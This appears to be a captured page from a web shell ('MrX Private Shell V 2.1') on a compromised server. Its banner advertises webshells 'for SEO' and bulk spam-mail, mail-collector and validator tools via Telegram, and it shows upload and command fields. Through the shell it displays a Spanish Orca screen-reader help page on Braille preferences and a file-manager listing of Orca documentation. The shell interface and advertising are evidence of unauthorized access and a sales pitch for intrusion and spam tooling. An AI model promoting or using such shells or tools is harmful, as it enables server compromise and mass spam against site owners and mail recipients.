__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?xml version="1.0" encoding="utf-8"?>
<page xmlns="http://projectmallard.org/1.0/" type="topic" id="preferences_braille" xml:lang="es">
  <info>
    <title type="sort">3. Braille</title>
    <title type="link">Braille</title>
    <desc>Configurar el soporte de <app>Orca</app> para dispositivos Braille</desc>
    <link type="guide" xref="preferences#orca"/>
    <link type="next" xref="preferences_key_echo"/>
    <credit type="author">
      <name>Joanmarie Diggs</name>
      <email>[email protected]</email>
    </credit>
    <license>
      <p>Creative Commons Compartir Igual 3.0</p>
    </license>
  
    <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright">
      <mal:name>Daniel Mustieles</mal:name>
      <mal:email>[email protected]</mal:email>
      <mal:years>2012 - 2021</mal:years>
    </mal:credit>
  
    <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright">
      <mal:name>Jorge González</mal:name>
      <mal:email>[email protected]</mal:email>
      <mal:years>2011</mal:years>
    </mal:credit>
  </info>
  <title>Preferencias Braille</title>
  <section id="braillesupport">
    <title>Activar el soporte de Braille</title>
    <p>Esta casilla de verificación conmuta entre si <app>Orca</app> puede usar un dispositivo Braille. Si BrlTTY no se está ejecutando, <app>Orca</app> se recuperará con elegancia y no se comunicará con el dispositivo Braille.</p>
    <p>Valor predeterminado: no marcado</p>
    <note style="tip">
      <p>Si configura BrlTTY más tarde, deberá reiniciar <app>Orca</app> para poder usar Braille.</p>
    </note>
  </section>
  <section id="braillewordwrap">
    <title>Activar ajuste de palabras</title>
    <p>Si la casilla <gui>Activar ajuste de palabras</gui>está marcada, <app>Orca</app> ajustará el texto para que sólo se muestren palabras completas en la pantalla braille. Si no está marcada, <app>Orca</app> usará todas las celdas de la pantalla por lo que se podrá mostrar más texto de una sola vez.</p>
    <p>Valor predeterminado: no marcado</p>
  </section>
  <section id="contractedbraille">
    <title>Activar Braille contraído</title>
    <p>Orca suporta Braille contraído a través del proyecto liblouis. Ya que muchas distribuciones incluyen liblouis, probablemente tenga acceso automático de Braille contraído en <app>Orca</app>.</p>
    <p>Para activar el Braille contraído en un sistema donde se ha instalado liblouis, asegúrese de que la casilla de verificación <gui>Activar Braille contraído</gui> está marcada. Después, elija la tabla de traducción que quiera de la caja combinada <gui>Tabla de contracción</gui>.</p>
    <p>Valor predeterminado: no marcado</p>
  </section>
  <section id="rolenames">
    <title>Nombres de roles abreviados</title>
    <p>Esta casilla determina la manera en que se muestran los nombres de rol de los controles y puede usarse para ayudar a conservar el espacio real en la línea braille. Por ejemplo, si un deslizador tiene el foco, se mostrará la palabra «deslizador» si nombres de roles abreviados no está marcada; si estuviera marcada, se mostraría «desl».</p>
    <p>Valor predeterminado: no marcado</p>
  </section>
  <section id="eolindicator">
    <title>Desactivar símbolo de fin de línea</title>
    <p>Al marcar esta casilla se indica a <app>Orca</app> que no presente la cadena «$l» al final de una línea de texto.</p>
    <p>Valor predeterminado: no marcado</p>
  </section>
  <section id="verbosity">
    <title>Cantidad de información</title>
    <p>Este grupo de botones de radio determina la cantidad de información Braille que se mostrará en ciertas situaciones. Por ejemplo, si se establece a «detallada», se mostrará el atajo de teclado y la información de nombre del rol. Esta información no se muestra en el modo abreviado.</p>
    <p>Valor predeterminado: <gui>extendida</gui></p>
  </section>
  <section id="selectionandhyperlink">
    <title>Indicadores de selección e hiperenlace</title>
    <p>Los grupos de botones de radio <gui>Indicador de selección</gui> y <gui>Indicador de hiperenlace</gui> le permiten configurar el comportamiento de <app>Orca</app> cuando se muestra texto seleccionado e hiperenlaces. De forma predeterminada, cuando encuentre alguno de ellos, <app>Orca</app> «subrayará» dicho texto en su línea braille con los puntos  7 y 8. Si lo desea, puede cambiar el indicador para que sea solo punto 7, solo punto 8 o no se presente ningún indicador.</p>
    <p>Valor predeterminado: <gui>Puntos 7 y 8</gui></p>
    <note style="tip">
      <title>Indicadores de atributos del texto</title>
      <p>Opcionalmente, puede hacer que los atributos de texto se indiquen en Braille. Puede activar esta característica y elegir qué atributos le interesan en la <link xref="preferences_text_attributes">página <gui>Atributos de texto</gui></link> del diálogo de preferencias.</p>
    </note>
  </section>
  <section id="flashMessageSettings">
    <title>Configuración de mensajes temporales</title>
    <p>Los mensajes temporales son similares a las notificaciones o los anuncios: se muestran en su pantalla Braille actualizable durante un breve tiempo, después del cual se restaura el contenido original de la pantalla Braille. <app>Orca</app> tiene varias opciones de configuración que puede usar para controlar la presentación de los mensajes temporales.</p>
    <section id="flashMessageSettings_enable">
      <title>Activar mensajes temporales</title>
      <p>Si la casilla <gui>Activar mensajes temporales</gui> está marcada <app>Orca</app> mostrará mensajes en braille. Si prefiere que <app>Orca</app> sólo hable los mensajes, debe desmarcar esta casilla.</p>
      <p>Valor predeterminado: marcado</p>
    </section>
    <section id="flashMessageSettings_detailed">
      <title>Los mensajes son detallados</title>
      <p>Si la opción <gui>Los mensajes son detallados</gui> está activada, <app>Orca</app> presentará mensajes detallados en Braille. Por ejemplo, si usa el comando de <app>Orca</app> para cambiar el eco de la tecla, <app>Orca</app> puede mostrar «Eco de teclado establecido a palabra». Si prefiere mensajes más cortos, como simplemente «palabra», debe desmarcar esta casilla.</p>
      <p>Valor predeterminado: marcado</p>
    </section>
    <section id="flashMessageSettings_persistent">
      <title>Los mensajes son persistentes</title>
      <p>Como se ha indicado antes, los mensajes temporales sólo se muestran durante un breve período de tiempo. Si prefiere que los mensajes se sigan mostrando mientras realiza una acción que hace que se actualice su pantalla, debe marcar la casilla <gui>Los mensajes son persistentes</gui>.</p>
      <p>Valor predeterminado: no marcado</p>
    </section>
    <section id="flashMessageSettings_duration">
      <title>Duración (segs)</title>
      <p>La cantidad de tiempo que <app>Orca</app> esperará antes de eliminar el mensaje y restaurar el contenido original de la pantalla se puede configurar con el botón <gui>Duración del mensaje (segs)</gui>. Tenga en cuenta que el valor de esta opción se ignorará si los mensajes temporales son persistentes.</p>
      <p>Valor predeterminado: 5</p>
    </section>
  </section>
</page>

Filemanager

Name Type Size Permission Actions
commands.page File 1.73 KB 0644
commands_bookmarks.page File 2.15 KB 0644
commands_braille.page File 2.24 KB 0644
commands_chat.page File 2.07 KB 0644
commands_controlling_orca.page File 3.39 KB 0644
commands_debugging.page File 1.49 KB 0644
commands_find.page File 2.49 KB 0644
commands_flat_review.page File 8.99 KB 0644
commands_live_regions.page File 2.23 KB 0644
commands_mouse.page File 3.58 KB 0644
commands_profiles.page File 1.6 KB 0644
commands_reading.page File 8.95 KB 0644
commands_speech_settings.page File 2.87 KB 0644
commands_structural_navigation.page File 11.01 KB 0644
commands_table.page File 2.21 KB 0644
commands_time_date_notifications.page File 2.63 KB 0644
commands_where_am_i.page File 3.42 KB 0644
howto_bookmarks.page File 2.53 KB 0644
howto_documents.page File 2.79 KB 0644
howto_flat_review.page File 2.75 KB 0644
howto_forms.page File 3.59 KB 0644
howto_key_bindings.page File 4.61 KB 0644
howto_keyboard_layout.page File 2.39 KB 0644
howto_learn_modes.page File 2.45 KB 0644
howto_live_regions.page File 2.97 KB 0644
howto_mouse_review.page File 3.01 KB 0644
howto_notifications.page File 3.47 KB 0644
howto_orca_find.page File 4 KB 0644
howto_profiles.page File 3.53 KB 0644
howto_setting_up_orca.page File 1.56 KB 0644
howto_structural_navigation.page File 4.96 KB 0644
howto_tables.page File 6.89 KB 0644
howto_text_attributes.page File 3.57 KB 0644
howto_the_orca_modifier.page File 3.04 KB 0644
howto_toggling_caps_lock.page File 2.03 KB 0644
howto_whereami.page File 4.46 KB 0644
index.page File 2.03 KB 0644
introduction.page File 4.73 KB 0644
preferences.page File 1.23 KB 0644
preferences_braille.page File 7.13 KB 0644
preferences_chat.page File 3 KB 0644
preferences_general.page File 10.05 KB 0644
preferences_introduction.page File 2.82 KB 0644
preferences_key_bindings.page File 3.13 KB 0644
preferences_key_echo.page File 6.1 KB 0644
preferences_pronunciation.page File 3.07 KB 0644
preferences_speech.page File 13.51 KB 0644
preferences_spellcheck.page File 2.77 KB 0644
preferences_table_navigation.page File 2.69 KB 0644
preferences_text_attributes.page File 5.2 KB 0644
preferences_voice.page File 4.83 KB 0644
preferences_web.page File 9.34 KB 0644
Filemanager